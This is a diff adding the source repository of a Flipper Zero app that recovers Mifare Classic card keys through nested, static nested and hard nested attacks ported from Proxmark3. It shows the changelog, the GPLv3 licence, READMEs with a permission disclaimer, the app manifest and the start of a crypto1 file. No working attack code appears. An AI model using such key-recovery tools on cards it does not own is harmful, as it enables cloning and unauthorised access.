+ - Removed some old code, breaking compability with old firmware
+
+ - App renamed from "Flipper (Mifare) Nested" to "Flipper Nested"
+
+
+## 1.4.6
+
+Fix fallback to hardnested 
+
+
+## 1.4.5 
+
+Fix .nested folder if running Hard Nested 
+
+
+## 1.4.4
+
+Fix skipped = false
+
+
+## 1.4.3
+
+Fix invalid free count
+
+
+## 1.4.2
+
+Minor code refactor
+
+
+## 1.4.1
+
+Fix invalid nonces after skipping 
+
+
+## 1.4.0
+
+Changes:
+
+ - Changed scenes, now they are more informative and beautiful (closes #6)
+ 
+ - Check if sector is alive in Nested attacks (closes #5)
+ 
+ - Now tag PRNG detected at sector, where key is available (fix not working with dead 0 sector, closes #4)
+ 
+ - Detect hard PRNG from start, hardnested doesn't require calibration now
+ 
+ - Settings menu: ability to always run Hard Nested (regardless of PRNG)
+ 
+ - Minor code refactoring, a lot of bug fixes (memory leaks, stability improvements)
+ 
+ - Fallback to Hard Nested now after 25 failed tries (was 10)
+
+
+## 1.3.0
+
+Check first_byte_sum (no more invalid ones) 
+
+
+## 1.2.5
+
+Add missing file
+
+
+## 1.2.4
+
+Missing free() on crypto1
+
+
+## 1.2.3
+
+Missing free()
+
+
+## 1.2.2
+
+Migrate to file_stream
+
+
+## 1.2.1
+
+Fix memory leaks 
+
+
+## 1.2.0
+
+Hard Nested attack 
+
+
+## 1.1.1
+
+Improve calibration cycle
+
+
+## 1.1.0
+
+Changes:
+
+ - Change nested folder name to .nested
+ 
+ - Remove .keys file after search
+ 
+ - Bug fixes
+
+
+## 1.0.0
+
+Public release 

+ 674 - 0
mifare_nested/LICENSE.md

@@ -0,0 +1,674 @@
+                    GNU GENERAL PUBLIC LICENSE
+                       Version 3, 29 June 2007
+
+ Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+                            Preamble
+
+  The GNU General Public License is a free, copyleft license for
+software and other kinds of works.
+
+  The licenses for most software and other practical works are designed
+to take away your freedom to share and change the works.  By contrast,
+the GNU General Public License is intended to guarantee your freedom to
+share and change all versions of a program--to make sure it remains free
+software for all its users.  We, the Free Software Foundation, use the
+GNU General Public License for most of our software; it applies also to
+any other work released this way by its authors.  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+them if you wish), that you receive source code or can get it if you
+want it, that you can change the software or use pieces of it in new
+free programs, and that you know you can do these things.
+
+  To protect your rights, we need to prevent others from denying you
+these rights or asking you to surrender the rights.  Therefore, you have
+certain responsibilities if you distribute copies of the software, or if
+you modify it: responsibilities to respect the freedom of others.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must pass on to the recipients the same
+freedoms that you received.  You must make sure that they, too, receive
+or can get the source code.  And you must show them these terms so they
+know their rights.
+
+  Developers that use the GNU GPL protect your rights with two steps:
+(1) assert copyright on the software, and (2) offer you this License
+giving you legal permission to copy, distribute and/or modify it.
+
+  For the developers' and authors' protection, the GPL clearly explains
+that there is no warranty for this free software.  For both users' and
+authors' sake, the GPL requires that modified versions be marked as
+changed, so that their problems will not be attributed erroneously to
+authors of previous versions.
+
+  Some devices are designed to deny users access to install or run
+modified versions of the software inside them, although the manufacturer
+can do so.  This is fundamentally incompatible with the aim of
+protecting users' freedom to change the software.  The systematic
+pattern of such abuse occurs in the area of products for individuals to
+use, which is precisely where it is most unacceptable.  Therefore, we
+have designed this version of the GPL to prohibit the practice for those
+products.  If such problems arise substantially in other domains, we
+stand ready to extend this provision to those domains in future versions
+of the GPL, as needed to protect the freedom of users.
+
+  Finally, every program is threatened constantly by software patents.
+States should not allow patents to restrict development and use of
+software on general-purpose computers, but in those that do, we wish to
+avoid the special danger that patents applied to a free program could
+make it effectively proprietary.  To prevent this, the GPL assures that
+patents cannot be used to render the program non-free.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+                       TERMS AND CONDITIONS
+
+  0. Definitions.
+
+  "This License" refers to version 3 of the GNU General Public License.
+
+  "Copyright" also means copyright-like laws that apply to other kinds of
+works, such as semiconductor masks.
+
+  "The Program" refers to any copyrightable work licensed under this
+License.  Each licensee is addressed as "you".  "Licensees" and
+"recipients" may be individuals or organizations.
+
+  To "modify" a work means to copy from or adapt all or part of the work
+in a fashion requiring copyright permission, other than the making of an
+exact copy.  The resulting work is called a "modified version" of the
+earlier work or a work "based on" the earlier work.
+
+  A "covered work" means either the unmodified Program or a work based
+on the Program.
+
+  To "propagate" a work means to do anything with it that, without
+permission, would make you directly or secondarily liable for
+infringement under applicable copyright law, except executing it on a
+computer or modifying a private copy.  Propagation includes copying,
+distribution (with or without modification), making available to the
+public, and in some countries other activities as well.
+
+  To "convey" a work means any kind of propagation that enables other
+parties to make or receive copies.  Mere interaction with a user through
+a computer network, with no transfer of a copy, is not conveying.
+
+  An interactive user interface displays "Appropriate Legal Notices"
+to the extent that it includes a convenient and prominently visible
+feature that (1) displays an appropriate copyright notice, and (2)
+tells the user that there is no warranty for the work (except to the
+extent that warranties are provided), that licensees may convey the
+work under this License, and how to view a copy of this License.  If
+the interface presents a list of user commands or options, such as a
+menu, a prominent item in the list meets this criterion.
+
+  1. Source Code.
+
+  The "source code" for a work means the preferred form of the work
+for making modifications to it.  "Object code" means any non-source
+form of a work.
+
+  A "Standard Interface" means an interface that either is an official
+standard defined by a recognized standards body, or, in the case of
+interfaces specified for a particular programming language, one that
+is widely used among developers working in that language.
+
+  The "System Libraries" of an executable work include anything, other
+than the work as a whole, that (a) is included in the normal form of
+packaging a Major Component, but which is not part of that Major
+Component, and (b) serves only to enable use of the work with that
+Major Component, or to implement a Standard Interface for which an
+implementation is available to the public in source code form.  A
+"Major Component", in this context, means a major essential component
+(kernel, window system, and so on) of the specific operating system
+(if any) on which the executable work runs, or a compiler used to
+produce the work, or an object code interpreter used to run it.
+
+  The "Corresponding Source" for a work in object code form means all
+the source code needed to generate, install, and (for an executable
+work) run the object code and to modify the work, including scripts to
+control those activities.  However, it does not include the work's
+System Libraries, or general-purpose tools or generally available free
+programs which are used unmodified in performing those activities but
+which are not part of the work.  For example, Corresponding Source
+includes interface definition files associated with source files for
+the work, and the source code for shared libraries and dynamically
+linked subprograms that the work is specifically designed to require,
+such as by intimate data communication or control flow between those
+subprograms and other parts of the work.
+
+  The Corresponding Source need not include anything that users
+can regenerate automatically from other parts of the Corresponding
+Source.
+
+  The Corresponding Source for a work in source code form is that
+same work.
+
+  2. Basic Permissions.
+
+  All rights granted under this License are granted for the term of
+copyright on the Program, and are irrevocable provided the stated
+conditions are met.  This License explicitly affirms your unlimited
+permission to run the unmodified Program.  The output from running a
+covered work is covered by this License only if the output, given its
+content, constitutes a covered work.  This License acknowledges your
+rights of fair use or other equivalent, as provided by copyright law.
+
+  You may make, run and propagate covered works that you do not
+convey, without conditions so long as your license otherwise remains
+in force.  You may convey covered works to others for the sole purpose
+of having them make modifications exclusively for you, or provide you
+with facilities for running those works, provided that you comply with
+the terms of this License in conveying all material for which you do
+not control copyright.  Those thus making or running the covered works
+for you must do so exclusively on your behalf, under your direction
+and control, on terms that prohibit them from making any copies of
+your copyrighted material outside their relationship with you.
+
+  Conveying under any other circumstances is permitted solely under
+the conditions stated below.  Sublicensing is not allowed; section 10
+makes it unnecessary.
+
+  3. Protecting Users' Legal Rights From Anti-Circumvention Law.
+
+  No covered work shall be deemed part of an effective technological
+measure under any applicable law fulfilling obligations under article
+11 of the WIPO copyright treaty adopted on 20 December 1996, or
+similar laws prohibiting or restricting circumvention of such
+measures.
+
+  When you convey a covered work, you waive any legal power to forbid
+circumvention of technological measures to the extent such circumvention
+is effected by exercising rights under this License with respect to
+the covered work, and you disclaim any intention to limit operation or
+modification of the work as a means of enforcing, against the work's
+users, your or third parties' legal rights to forbid circumvention of
+technological measures.
+
+  4. Conveying Verbatim Copies.
+
+  You may convey verbatim copies of the Program's source code as you
+receive it, in any medium, provided that you conspicuously and
+appropriately publish on each copy an appropriate copyright notice;
+keep intact all notices stating that this License and any
+non-permissive terms added in accord with section 7 apply to the code;
+keep intact all notices of the absence of any warranty; and give all
+recipients a copy of this License along with the Program.
+
+  You may charge any price or no price for each copy that you convey,
+and you may offer support or warranty protection for a fee.
+
+  5. Conveying Modified Source Versions.
+
+  You may convey a work based on the Program, or the modifications to
+produce it from the Program, in the form of source code under the
+terms of section 4, provided that you also meet all of these conditions:
+
+    a) The work must carry prominent notices stating that you modified
+    it, and giving a relevant date.
+
+    b) The work must carry prominent notices stating that it is
+    released under this License and any conditions added under section
+    7.  This requirement modifies the requirement in section 4 to
+    "keep intact all notices".
+
+    c) You must license the entire work, as a whole, under this
+    License to anyone who comes into possession of a copy.  This
+    License will therefore apply, along with any applicable section 7
+    additional terms, to the whole of the work, and all its parts,
+    regardless of how they are packaged.  This License gives no
+    permission to license the work in any other way, but it does not
+    invalidate such permission if you have separately received it.
+
+    d) If the work has interactive user interfaces, each must display
+    Appropriate Legal Notices; however, if the Program has interactive
+    interfaces that do not display Appropriate Legal Notices, your
+    work need not make them do so.
+
+  A compilation of a covered work with other separate and independent
+works, which are not by their nature extensions of the covered work,
+and which are not combined with it such as to form a larger program,
+in or on a volume of a storage or distribution medium, is called an
+"aggregate" if the compilation and its resulting copyright are not
+used to limit the access or legal rights of the compilation's users
+beyond what the individual works permit.  Inclusion of a covered work
+in an aggregate does not cause this License to apply to the other
+parts of the aggregate.
+
+  6. Conveying Non-Source Forms.
+
+  You may convey a covered work in object code form under the terms
+of sections 4 and 5, provided that you also convey the
+machine-readable Corresponding Source under the terms of this License,
+in one of these ways:
+
+    a) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by the
+    Corresponding Source fixed on a durable physical medium
+    customarily used for software interchange.
+
+    b) Convey the object code in, or embodied in, a physical product
+    (including a physical distribution medium), accompanied by a
+    written offer, valid for at least three years and valid for as
+    long as you offer spare parts or customer support for that product
+    model, to give anyone who possesses the object code either (1) a
+    copy of the Corresponding Source for all the software in the
+    product that is covered by this License, on a durable physical
+    medium customarily used for software interchange, for a price no
+    more than your reasonable cost of physically performing this
+    conveying of source, or (2) access to copy the
+    Corresponding Source from a network server at no charge.
+
+    c) Convey individual copies of the object code with a copy of the
+    written offer to provide the Corresponding Source.  This
+    alternative is allowed only occasionally and noncommercially, and
+    only if you received the object code with such an offer, in accord
+    with subsection 6b.
+
+    d) Convey the object code by offering access from a designated
+    place (gratis or for a charge), and offer equivalent access to the
+    Corresponding Source in the same way through the same place at no
+    further charge.  You need not require recipients to copy the
+    Corresponding Source along with the object code.  If the place to
+    copy the object code is a network server, the Corresponding Source
+    may be on a different server (operated by you or a third party)
+    that supports equivalent copying facilities, provided you maintain
+    clear directions next to the object code saying where to find the
+    Corresponding Source.  Regardless of what server hosts the
+    Corresponding Source, you remain obligated to ensure that it is
+    available for as long as needed to satisfy these requirements.
+
+    e) Convey the object code using peer-to-peer transmission, provided
+    you inform other peers where the object code and Corresponding
+    Source of the work are being offered to the general public at no
+    charge under subsection 6d.
+
+  A separable portion of the object code, whose source code is excluded
+from the Corresponding Source as a System Library, need not be
+included in conveying the object code work.
+
+  A "User Product" is either (1) a "consumer product", which means any
+tangible personal property which is normally used for personal, family,
+or household purposes, or (2) anything designed or sold for incorporation
+into a dwelling.  In determining whether a product is a consumer product,
+doubtful cases shall be resolved in favor of coverage.  For a particular
+product received by a particular user, "normally used" refers to a
+typical or common use of that class of product, regardless of the status
+of the particular user or of the way in which the particular user
+actually uses, or expects or is expected to use, the product.  A product
+is a consumer product regardless of whether the product has substantial
+commercial, industrial or non-consumer uses, unless such uses represent
+the only significant mode of use of the product.
+
+  "Installation Information" for a User Product means any methods,
+procedures, authorization keys, or other information required to install
+and execute modified versions of a covered work in that User Product from
+a modified version of its Corresponding Source.  The information must
+suffice to ensure that the continued functioning of the modified object
+code is in no case prevented or interfered with solely because
+modification has been made.
+
+  If you convey an object code work under this section in, or with, or
+specifically for use in, a User Product, and the conveying occurs as
+part of a transaction in which the right of possession and use of the
+User Product is transferred to the recipient in perpetuity or for a
+fixed term (regardless of how the transaction is characterized), the
+Corresponding Source conveyed under this section must be accompanied
+by the Installation Information.  But this requirement does not apply
+if neither you nor any third party retains the ability to install
+modified object code on the User Product (for example, the work has
+been installed in ROM).
+
+  The requirement to provide Installation Information does not include a
+requirement to continue to provide support service, warranty, or updates
+for a work that has been modified or installed by the recipient, or for
+the User Product in which it has been modified or installed.  Access to a
+network may be denied when the modification itself materially and
+adversely affects the operation of the network or violates the rules and
+protocols for communication across the network.
+
+  Corresponding Source conveyed, and Installation Information provided,
+in accord with this section must be in a format that is publicly
+documented (and with an implementation available to the public in
+source code form), and must require no special password or key for
+unpacking, reading or copying.
+
+  7. Additional Terms.
+
+  "Additional permissions" are terms that supplement the terms of this
+License by making exceptions from one or more of its conditions.
+Additional permissions that are applicable to the entire Program shall
+be treated as though they were included in this License, to the extent
+that they are valid under applicable law.  If additional permissions
+apply only to part of the Program, that part may be used separately
+under those permissions, but the entire Program remains governed by
+this License without regard to the additional permissions.
+
+  When you convey a copy of a covered work, you may at your option
+remove any additional permissions from that copy, or from any part of
+it.  (Additional permissions may be written to require their own
+removal in certain cases when you modify the work.)  You may place
+additional permissions on material, added by you to a covered work,
+for which you have or can give appropriate copyright permission.
+
+  Notwithstanding any other provision of this License, for material you
+add to a covered work, you may (if authorized by the copyright holders of
+that material) supplement the terms of this License with terms:
+
+    a) Disclaiming warranty or limiting liability differently from the
+    terms of sections 15 and 16 of this License; or
+
+    b) Requiring preservation of specified reasonable legal notices or
+    author attributions in that material or in the Appropriate Legal
+    Notices displayed by works containing it; or
+
+    c) Prohibiting misrepresentation of the origin of that material, or
+    requiring that modified versions of such material be marked in
+    reasonable ways as different from the original version; or
+
+    d) Limiting the use for publicity purposes of names of licensors or
+    authors of the material; or
+
+    e) Declining to grant rights under trademark law for use of some
+    trade names, trademarks, or service marks; or
+
+    f) Requiring indemnification of licensors and authors of that
+    material by anyone who conveys the material (or modified versions of
+    it) with contractual assumptions of liability to the recipient, for
+    any liability that these contractual assumptions directly impose on
+    those licensors and authors.
+
+  All other non-permissive additional terms are considered "further
+restrictions" within the meaning of section 10.  If the Program as you
+received it, or any part of it, contains a notice stating that it is
+governed by this License along with a term that is a further
+restriction, you may remove that term.  If a license document contains
+a further restriction but permits relicensing or conveying under this
+License, you may add to a covered work material governed by the terms
+of that license document, provided that the further restriction does
+not survive such relicensing or conveying.
+
+  If you add terms to a covered work in accord with this section, you
+must place, in the relevant source files, a statement of the
+additional terms that apply to those files, or a notice indicating
+where to find the applicable terms.
+
+  Additional terms, permissive or non-permissive, may be stated in the
+form of a separately written license, or stated as exceptions;
+the above requirements apply either way.
+
+  8. Termination.
+
+  You may not propagate or modify a covered work except as expressly
+provided under this License.  Any attempt otherwise to propagate or
+modify it is void, and will automatically terminate your rights under
+this License (including any patent licenses granted under the third
+paragraph of section 11).
+
+  However, if you cease all violation of this License, then your
+license from a particular copyright holder is reinstated (a)
+provisionally, unless and until the copyright holder explicitly and
+finally terminates your license, and (b) permanently, if the copyright
+holder fails to notify you of the violation by some reasonable means
+prior to 60 days after the cessation.
+
+  Moreover, your license from a particular copyright holder is
+reinstated permanently if the copyright holder notifies you of the
+violation by some reasonable means, this is the first time you have
+received notice of violation of this License (for any work) from that
+copyright holder, and you cure the violation prior to 30 days after
+your receipt of the notice.
+
+  Termination of your rights under this section does not terminate the
+licenses of parties who have received copies or rights from you under
+this License.  If your rights have been terminated and not permanently
+reinstated, you do not qualify to receive new licenses for the same
+material under section 10.
+
+  9. Acceptance Not Required for Having Copies.
+
+  You are not required to accept this License in order to receive or
+run a copy of the Program.  Ancillary propagation of a covered work
+occurring solely as a consequence of using peer-to-peer transmission
+to receive a copy likewise does not require acceptance.  However,
+nothing other than this License grants you permission to propagate or
+modify any covered work.  These actions infringe copyright if you do
+not accept this License.  Therefore, by modifying or propagating a
+covered work, you indicate your acceptance of this License to do so.
+
+  10. Automatic Licensing of Downstream Recipients.
+
+  Each time you convey a covered work, the recipient automatically
+receives a license from the original licensors, to run, modify and
+propagate that work, subject to this License.  You are not responsible
+for enforcing compliance by third parties with this License.
+
+  An "entity transaction" is a transaction transferring control of an
+organization, or substantially all assets of one, or subdividing an
+organization, or merging organizations.  If propagation of a covered
+work results from an entity transaction, each party to that
+transaction who receives a copy of the work also receives whatever
+licenses to the work the party's predecessor in interest had or could
+give under the previous paragraph, plus a right to possession of the
+Corresponding Source of the work from the predecessor in interest, if
+the predecessor has it or can get it with reasonable efforts.
+
+  You may not impose any further restrictions on the exercise of the
+rights granted or affirmed under this License.  For example, you may
+not impose a license fee, royalty, or other charge for exercise of
+rights granted under this License, and you may not initiate litigation
+(including a cross-claim or counterclaim in a lawsuit) alleging that
+any patent claim is infringed by making, using, selling, offering for
+sale, or importing the Program or any portion of it.
+
+  11. Patents.
+
+  A "contributor" is a copyright holder who authorizes use under this
+License of the Program or a work on which the Program is based.  The
+work thus licensed is called the contributor's "contributor version".
+
+  A contributor's "essential patent claims" are all patent claims
+owned or controlled by the contributor, whether already acquired or
+hereafter acquired, that would be infringed by some manner, permitted
+by this License, of making, using, or selling its contributor version,
+but do not include claims that would be infringed only as a
+consequence of further modification of the contributor version.  For
+purposes of this definition, "control" includes the right to grant
+patent sublicenses in a manner consistent with the requirements of
+this License.
+
+  Each contributor grants you a non-exclusive, worldwide, royalty-free
+patent license under the contributor's essential patent claims, to
+make, use, sell, offer for sale, import and otherwise run, modify and
+propagate the contents of its contributor version.
+
+  In the following three paragraphs, a "patent license" is any express
+agreement or commitment, however denominated, not to enforce a patent
+(such as an express permission to practice a patent or covenant not to
+sue for patent infringement).  To "grant" such a patent license to a
+party means to make such an agreement or commitment not to enforce a
+patent against the party.
+
+  If you convey a covered work, knowingly relying on a patent license,
+and the Corresponding Source of the work is not available for anyone
+to copy, free of charge and under the terms of this License, through a
+publicly available network server or other readily accessible means,
+then you must either (1) cause the Corresponding Source to be so
+available, or (2) arrange to deprive yourself of the benefit of the
+patent license for this particular work, or (3) arrange, in a manner
+consistent with the requirements of this License, to extend the patent
+license to downstream recipients.  "Knowingly relying" means you have
+actual knowledge that, but for the patent license, your conveying the
+covered work in a country, or your recipient's use of the covered work
+in a country, would infringe one or more identifiable patents in that
+country that you have reason to believe are valid.
+
+  If, pursuant to or in connection with a single transaction or
+arrangement, you convey, or propagate by procuring conveyance of, a
+covered work, and grant a patent license to some of the parties
+receiving the covered work authorizing them to use, propagate, modify
+or convey a specific copy of the covered work, then the patent license
+you grant is automatically extended to all recipients of the covered
+work and works based on it.
+
+  A patent license is "discriminatory" if it does not include within
+the scope of its coverage, prohibits the exercise of, or is
+conditioned on the non-exercise of one or more of the rights that are
+specifically granted under this License.  You may not convey a covered
+work if you are a party to an arrangement with a third party that is
+in the business of distributing software, under which you make payment
+to the third party based on the extent of your activity of conveying
+the work, and under which the third party grants, to any of the
+parties who would receive the covered work from you, a discriminatory
+patent license (a) in connection with copies of the covered work
+conveyed by you (or copies made from those copies), or (b) primarily
+for and in connection with specific products or compilations that
+contain the covered work, unless you entered into that arrangement,
+or that patent license was granted, prior to 28 March 2007.
+
+  Nothing in this License shall be construed as excluding or limiting
+any implied license or other defenses to infringement that may
+otherwise be available to you under applicable patent law.
+
+  12. No Surrender of Others' Freedom.
+
+  If conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot convey a
+covered work so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you may
+not convey it at all.  For example, if you agree to terms that obligate you
+to collect a royalty for further conveying from those to whom you convey
+the Program, the only way you could satisfy both those terms and this
+License would be to refrain entirely from conveying the Program.
+
+  13. Use with the GNU Affero General Public License.
+
+  Notwithstanding any other provision of this License, you have
+permission to link or combine any covered work with a work licensed
+under version 3 of the GNU Affero General Public License into a single
+combined work, and to convey the resulting work.  The terms of this
+License will continue to apply to the part which is the covered work,
+but the special requirements of the GNU Affero General Public License,
+section 13, concerning interaction through a network will apply to the
+combination as such.
+
+  14. Revised Versions of this License.
+
+  The Free Software Foundation may publish revised and/or new versions of
+the GNU General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+  Each version is given a distinguishing version number.  If the
+Program specifies that a certain numbered version of the GNU General
+Public License "or any later version" applies to it, you have the
+option of following the terms and conditions either of that numbered
+version or of any later version published by the Free Software
+Foundation.  If the Program does not specify a version number of the
+GNU General Public License, you may choose any version ever published
+by the Free Software Foundation.
+
+  If the Program specifies that a proxy can decide which future
+versions of the GNU General Public License can be used, that proxy's
+public statement of acceptance of a version permanently authorizes you
+to choose that version for the Program.
+
+  Later license versions may give you additional or different
+permissions.  However, no additional obligations are imposed on any
+author or copyright holder as a result of your choosing to follow a
+later version.
+
+  15. Disclaimer of Warranty.
+
+  THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
+APPLICABLE LAW.  EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
+HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
+OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
+THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
+PURPOSE.  THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
+IS WITH YOU.  SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
+ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+  16. Limitation of Liability.
+
+  IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
+USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
+DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
+PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
+EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
+SUCH DAMAGES.
+
+  17. Interpretation of Sections 15 and 16.
+
+  If the disclaimer of warranty and limitation of liability provided
+above cannot be given local legal effect according to their terms,
+reviewing courts shall apply local law that most closely approximates
+an absolute waiver of all civil liability in connection with the
+Program, unless a warranty or assumption of liability accompanies a
+copy of the Program in return for a fee.
+
+                     END OF TERMS AND CONDITIONS
+
+            How to Apply These Terms to Your New Programs
+
+  If you develop a new program, and you want it to be of the greatest
+possible use to the public, the best way to achieve this is to make it
+free software which everyone can redistribute and change under these terms.
+
+  To do so, attach the following notices to the program.  It is safest
+to attach them to the start of each source file to most effectively
+state the exclusion of warranty; and each file should have at least
+the "copyright" line and a pointer to where the full notice is found.
+
+    <one line to give the program's name and a brief idea of what it does.>
+    Copyright (C) <year>  <name of author>
+
+    This program is free software: you can redistribute it and/or modify
+    it under the terms of the GNU General Public License as published by
+    the Free Software Foundation, either version 3 of the License, or
+    (at your option) any later version.
+
+    This program is distributed in the hope that it will be useful,
+    but WITHOUT ANY WARRANTY; without even the implied warranty of
+    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+    GNU General Public License for more details.
+
+    You should have received a copy of the GNU General Public License
+    along with this program.  If not, see <https://www.gnu.org/licenses/>.
+
+Also add information on how to contact you by electronic and paper mail.
+
+  If the program does terminal interaction, make it output a short
+notice like this when it starts in an interactive mode:
+
+    <program>  Copyright (C) <year>  <name of author>
+    This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
+    This is free software, and you are welcome to redistribute it
+    under certain conditions; type `show c' for details.
+
+The hypothetical commands `show w' and `show c' should show the appropriate
+parts of the General Public License.  Of course, your program's commands
+might be different; for a GUI interface, you would use an "about box".
+
+  You should also get your employer (if you work as a programmer) or school,
+if any, to sign a "copyright disclaimer" for the program, if necessary.
+For more information on this, and how to apply and follow the GNU GPL, see
+<https://www.gnu.org/licenses/>.
+
+  The GNU General Public License does not permit incorporating your program
+into proprietary programs.  If your program is a subroutine library, you
+may consider it more useful to permit linking proprietary applications with
+the library.  If this is what you want to do, use the GNU Lesser General
+Public License instead of this License.  But first, please read
+<https://www.gnu.org/licenses/why-not-lgpl.html>.

+ 29 - 0
mifare_nested/README.CATALOG.md

@@ -0,0 +1,29 @@
+# Mifare Nested Attacks for Flipper Zero
+
+Ported Nested attacks from Proxmark3 (Iceman fork)
+
+## Currently supported attacks
+
+ - nested attack
+ - static nested attack
+ - hard nested attack
+
+## Warning
+
+App is still in early development, so there may be bugs. Your Flipper Zero may randomly crash/froze. Please create issue if you find any bugs (one bug = one issue).
+
+## Disclaimer
+
+The app provided for personal use only. Developer does not take responsibility for any loss or damage caused by the misuse of this app. In addition, the app developer does not guarantee the performance or compatibility of the app with all tags, and cannot be held liable for any damage caused to your tags/Flipper Zero as a result of using the app. By using this app you confirm that the tag belongs to you, you have permission to preform the attack and you agree to hold the app developer harmless from any and all claims, damages, or losses that may arise from its use.
+
+## How to use it?
+
+Detailed guide: https://github.com/AloneLiberty/FlipperNested/wiki/Usage-guide, RU: https://github.com/AloneLiberty/FlipperNested/wiki/%D0%93%D0%B0%D0%B9%D0%B4-%D0%BF%D0%BE-%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8E
+
+## FAQ
+
+For frequently asked questions, please refer to the FAQ: https://github.com/AloneLiberty/FlipperNested/wiki/FAQ, RU: https://github.com/AloneLiberty/FlipperNested/wiki/%D0%A7%D0%90%D0%92%D0%9E
+
+## Contacts
+
+Telegram: https://t.me/libertydev

+ 39 - 0
mifare_nested/README.md

@@ -0,0 +1,39 @@
+# Mifare Nested Attacks for Flipper Zero
+
+Ported Nested attacks from Proxmark3 (Iceman fork)
+
+## Download
+
+[![FlipC.org](https://flipc.org/AloneLiberty/FlipperNested/badge?branch=dev)](https://flipc.org/AloneLiberty/FlipperNested?branch=dev)
+
+## Currently supported attacks
+
+ - nested attack
+ - static nested attack
+ - hard nested attack
+
+## Warning
+
+App is still in early development, so there may be bugs. Your Flipper Zero may randomly crash/froze. Please create issue if you find any bugs (one bug = one issue).
+
+## Disclaimer
+
+The app provided for personal use only. Developer does not take responsibility for any loss or damage caused by the misuse of this app. In addition, the app developer does not guarantee the performance or compatibility of the app with all tags, and cannot be held liable for any damage caused to your tags/Flipper Zero as a result of using the app. By using this app you confirm that the tag belongs to you, you have permission to preform the attack and you agree to hold the app developer harmless from any and all claims, damages, or losses that may arise from its use.
+
+## I need **your** help!
+
+To successfuly recover keys from nested attack we need to correctly predict PRNG value. But we have a problem with that. Due to lack of my knowlege of Flipper Zero NFC HAL, PRNG can jump by quite large values (not like Proxmark3). So app is trying to find a delay where PRNG can be predicted accurately enough. This is not the best option, because we have to try to recover a bunch of unnecessary keys, which takes a lot of time and RAM and also spend a lot of time on timings. I don't know how to fix it. 
+
+UPD: Chameleon Ultra devs [faced same issue](https://youtu.be/_wfikmXNQzE?t=202). They seems to use same method: [nested.c](https://github.com/RfidResearchGroup/ChameleonUltra/blob/main/software/src/nested.c) (better know from the beginning of development...)
+
+## How to use it?
+
+Detailed guide: [EN](https://github.com/AloneLiberty/FlipperNested/wiki/Usage-guide), [RU](https://github.com/AloneLiberty/FlipperNested/wiki/%D0%93%D0%B0%D0%B9%D0%B4-%D0%BF%D0%BE-%D0%B8%D1%81%D0%BF%D0%BE%D0%BB%D1%8C%D0%B7%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D1%8E).
+
+## FAQ
+
+For frequently asked questions, please refer to the FAQ: [EN](https://github.com/AloneLiberty/FlipperNested/wiki/FAQ), [RU](https://github.com/AloneLiberty/FlipperNested/wiki/%D0%A7%D0%90%D0%92%D0%9E).
+
+## Contacts
+
+Telegram: [@libertydev](https://t.me/libertydev)

+ 3 - 0
mifare_nested/TODO.md

@@ -0,0 +1,3 @@
+# TODO:
+
+1. Better (faster) detection of delay in a nested attack

+ 25 - 0
mifare_nested/application.fam

@@ -0,0 +1,25 @@
+App(
+    appid="mifare_nested",
+    name="Mifare Nested",
+    apptype=FlipperAppType.EXTERNAL,
+    entry_point="mifare_nested_app",
+    requires=[
+        "storage",
+        "gui",
+        "nfc"
+    ],
+    stack_size=4 * 1024,
+    order=30,
+    fap_icon="assets/icon.png",
+    fap_category="NFC",
+    fap_private_libs=[
+        Lib(name="nested"),
+        Lib(name="parity"),
+        Lib(name="crypto1")
+    ],
+    fap_icon_assets="assets",
+    fap_author="AloneLiberty",
+    fap_description="Recover Mifare Classic keys",
+    fap_weburl="https://github.com/AloneLiberty/FlipperNested",
+    fap_version="1.5.2"
+)

BIN
mifare_nested/assets/ApplyTag.png


BIN
mifare_nested/assets/DolphinCry.png


BIN
mifare_nested/assets/DolphinSuccess.png


BIN
mifare_nested/assets/Loading.png


BIN
mifare_nested/assets/icon.png


+ 118 - 0
mifare_nested/lib/crypto1/crypto1.c

@@ -0,0 +1,118 @@
+#include "crypto1.h"
+#include <string.h>
+
+void crypto1_reset(Crypto1* crypto1) {
+    furi_assert(crypto1);
+    crypto1->even = 0;
+    crypto1->odd = 0;
+}
+
